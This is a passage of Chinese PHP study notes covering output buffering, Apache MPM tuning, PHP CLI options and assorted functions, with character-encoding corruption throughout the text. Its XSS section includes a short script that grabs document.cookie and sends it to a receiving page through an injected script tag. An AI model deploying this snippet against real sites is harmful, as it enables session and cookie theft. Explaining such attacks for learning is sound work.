flush();        //將當(dāng)前為止程序的所有輸出發(fā)送到用戶的瀏覽器

ob_get_contents();   //返回緩沖區(qū)的內(nèi)容,不輸出。
ob_get_length();    //返回內(nèi)部緩沖區(qū)的長(zhǎng)度,如果緩沖區(qū)未被激活,該函數(shù)返回FALSE。
ob_get_level();    //Return the nesting level of the output buffering mechanism.
ob_get_status();    //獲取ob狀態(tài)信息

ob_implicit_flush();  //打開(kāi)或關(guān)閉絕對(duì)刷新,默認(rèn)為關(guān)閉,打開(kāi)后ob_implicit_flush(true),所謂絕對(duì)刷新,即當(dāng)有輸出語(yǔ)句(e.g: echo)被執(zhí)行時(shí),便把輸出直接發(fā)送到瀏覽器,而不再需要調(diào)用flush()或等到腳本結(jié)束時(shí)才輸出。

ob_gzhandler        //ob_start回調(diào)函數(shù),用gzip壓縮緩沖區(qū)的內(nèi)容。
ob_list_handlers      //List all output handlers in use
output_add_rewrite_var   //Add URL rewriter values
output_reset_rewrite_vars //Reset URL rewriter values

這些函數(shù)的行為受php_ini設(shè)置的影響:
output_buffering    //該值為ON時(shí),將在所有腳本中使用輸出控制;若該值為一個(gè)數(shù)字,則代表緩沖區(qū)的最大字節(jié)限制,當(dāng)緩存內(nèi)容達(dá)到該上限時(shí)將會(huì)自動(dòng)向?yàn)g覽器輸出當(dāng)前的緩沖區(qū)里的內(nèi)容。
output_handler     //該選項(xiàng)可將腳本所有的輸出,重定向到一個(gè)函數(shù)。例如,將 output_handler 設(shè)置為 mb_output_handler() 時(shí),字符的編碼將被修改為指定的編碼。設(shè)置的任何處理函數(shù),將自動(dòng)的處理輸出緩沖。
implicit_flush     //作用同ob_implicit_flush,默認(rèn)為Off。

//ob緩存作用
1)防止在瀏覽器有輸出之后再使用setcookie()、header()或session_start()等發(fā)送頭文件的函數(shù)造成的錯(cuò)誤。其實(shí)這樣的用法少用為好,養(yǎng)成良好的代碼習(xí)慣。
2)捕捉對(duì)一些不可獲取的函數(shù)的輸出,比如phpinfo()會(huì)輸出一大堆的HTML,但是我們無(wú)法用一個(gè)變量例如$info=phpinfo();來(lái)捕捉,這時(shí)候ob就管用了。
3)對(duì)輸出的內(nèi)容進(jìn)行處理,例如進(jìn)行g(shù)zip壓縮,例如進(jìn)行簡(jiǎn)繁轉(zhuǎn)換,例如進(jìn)行一些字符串替換。
4)生成靜態(tài)文件,其實(shí)就是捕捉整頁(yè)的輸出,然后存成文件。經(jīng)常在生成HTML,或者整頁(yè)緩存中使用。


/* 網(wǎng)站并發(fā) */
測(cè)試工具:apache/bin/ab.exe
用法:cmd{%apache-bin%}>ab.exe -n 執(zhí)行訪問(wèn)次數(shù) -c 用戶并發(fā)數(shù)量 URL地址
MPM(多路處理模塊):perfork(預(yù)處理模式), worker(工作者模式), winnt(Win系統(tǒng))
MPM配置:httpd-mpm.conf
查看當(dāng)前MPM模式:httpd –l  mpm_xxx.c中xxx表示當(dāng)前模式類(lèi)型
httpd.conf配置(開(kāi)啟MPM):#Include conf/extra/httpd-mpm.conf
#參考配置
#配置文件:extra/httpd-mpm.conf
#mpm_winnt.c
<IfModule mpm_winnt_module>
  ThreadsPerChild   1000  #中型網(wǎng)站1500-5500合理
  MaxRequestsPerChild 0
</IfModule>
#mpm_prefork.c
<IfModule mpm_prefork_module>
  StartServers  5    #預(yù)先啟動(dòng)
  MinSpareServers 5
  MaxSpareServers 10   #最大空閑進(jìn)程
  ServerLimit   1500  #用于修改apache編程參數(shù)
  MaxClients   1000  #最大并發(fā)數(shù)
  MaxRequestsPerChild 0  #一個(gè)進(jìn)程對(duì)應(yīng)的線程數(shù),對(duì)worker更用
</IfModule>
#如果你的網(wǎng)站pv值上百萬(wàn)
ServerLimit   2500  #用于修改apache編程參數(shù)
MaxClients   2000  #最大并發(fā)數(shù)


/* 靜態(tài)化 */
1. 頁(yè)面URL長(zhǎng)度不超過(guò)255字節(jié)
2. meta信息盡量完整,keywords5個(gè)左右
3. 前端不要使用框架
4. 圖片alt屬性添加信息
5. 靜態(tài)頁(yè)面不要帶動(dòng)態(tài)值

<script type="text/javascript" language="javascript" src="url"></script>
url可以是js/php/圖片等,返回的數(shù)據(jù)替換<script>標(biāo)簽所在位置的內(nèi)容!相當(dāng)于簡(jiǎn)單的Ajax


/* Apache壓縮 */
gzip/deflate


/* XSS攻擊 */
#惡意JS代碼
#不規(guī)則HTML代碼

開(kāi)源過(guò)濾器:htmlpurifier

//獲取COOKIE
<script>
var c = document.cookie; //獲取COOKIE
var script = document.createElement('script'); //創(chuàng)建script標(biāo)簽
script.src = 'demo.php?c=' + c; //發(fā)送到指定的文件接收
document.body.appendChild(script); //添加到DOM對(duì)象中生效
</script>


/* 命令行CLI */
//顯示幫助信息
php -h
//解析并運(yùn)行-f選項(xiàng)給定的文件名
php [-f] <file> [--] [args...]
//在命令行內(nèi)運(yùn)行單行PHP代碼
php [options] -r <code> [--] [args...]
無(wú)需加上PHP的起始和結(jié)束標(biāo)識(shí)符,否則將會(huì)導(dǎo)致語(yǔ)法解析錯(cuò)誤
//調(diào)用phpinfo()函數(shù)并顯示出結(jié)果
php -i/--info
//檢查PHP語(yǔ)法
php -l/--syntax-check
//打印出內(nèi)置以及已加載的PHP及Zend模塊
php -m/--modules
//將PHP,PHP SAPI和Zend的版本信息寫(xiě)入標(biāo)準(zhǔn)輸出
php -v/--version

//參數(shù)接收
$argv  傳遞給腳本的參數(shù)數(shù)組
  第一個(gè)參數(shù)總是當(dāng)前腳本的文件名,因此$argv[0]就是腳本文件名
$argc  傳遞給腳本的參數(shù)數(shù)目
  腳本的文件名總是作為參數(shù)傳遞給當(dāng)前腳本,因此$argc的最小值為1
包含當(dāng)運(yùn)行于命令行下時(shí)傳遞給當(dāng)前腳本的參數(shù)的數(shù)組
此兩個(gè)變量?jī)H在register_argc_argv打開(kāi)時(shí)可用


/* 設(shè)計(jì)模式 */
單例模式:為一個(gè)類(lèi)生成一個(gè)唯一的對(duì)象。使用單例模式生成一個(gè)對(duì)象后,該對(duì)象可以被其它眾多對(duì)象所使用。
工廠模式:封裝對(duì)象的建立過(guò)程??梢栽趯?duì)象本身創(chuàng)建對(duì)象工廠或者是一個(gè)額外的工廠類(lèi)
MVC模式:用戶->控制器->模型->控制器->視圖->控制器->用戶


/* 配置選項(xiàng) */
set_time_limit($seconds) //設(shè)置腳本最大執(zhí)行時(shí)間(默認(rèn)30秒),0表示不限制
ini_get($varname) //獲取一個(gè)配置選項(xiàng)的值
ini_set($varname, $newvalue) //為一個(gè)配置選項(xiàng)設(shè)置值
extension_loaded($ext_name) //檢測(cè)一個(gè)擴(kuò)展是否已經(jīng)加載
get_extension_funcs($ext_name) //返回模塊函數(shù)名的數(shù)組


/* 【其他】 */
version_compare(str $ver1, str $ver2 [,str $operator]) //比較版本號(hào)
  $operator表示操作符,可選:<, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne
  如果省略$operator,返回兩個(gè)版本號(hào)的差值。
符號(hào)@  用于抑制系統(tǒng)運(yùn)行錯(cuò)誤的報(bào)告顯示
memory_get_usage  //獲取當(dāng)期內(nèi)存使用情況
memory_get_peak_usage  //獲取內(nèi)存使用的峰值
getrusage  //獲取CPU使用情況(Windows不可用)
uniqid([$prefix])  //獲取一個(gè)帶前綴、基于當(dāng)前時(shí)間微秒數(shù)的唯一ID
highlight_string($str [,$return])  //字符串的語(yǔ)法高亮
  $return:設(shè)置為T(mén)RUE,高亮后的代碼不會(huì)被打印輸出,而是以字符串的形式返回。高亮成功返回TRUE,否則返回FALSE。
highlight_file($file [,$return])  //語(yǔ)法高亮一個(gè)文件
__halt_compiler   //中斷編譯器的執(zhí)行
get_browser   //獲取瀏覽器具有的功能
  get_browser ([ string $user_agent [, bool $return_array = false ]] )
  如果設(shè)置為 TRUE,該函數(shù)會(huì)返回一個(gè) array,而不是 object
eval($code) //把字符串作為PHP代碼執(zhí)行
gzcompress($str [,$level=-1])  //壓縮字符串
gzuncompress($str) //解壓縮字符串
gzencode($str [,$level=-1])  //壓縮字符串
gzdecode($str) //解壓縮字符串
ignore_user_abort($bool) //設(shè)置客戶端斷開(kāi)連接時(shí)是否中斷腳本的執(zhí)行

關(guān)于“PHP學(xué)習(xí)中常見(jiàn)的各類(lèi)問(wèn)題有哪些”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI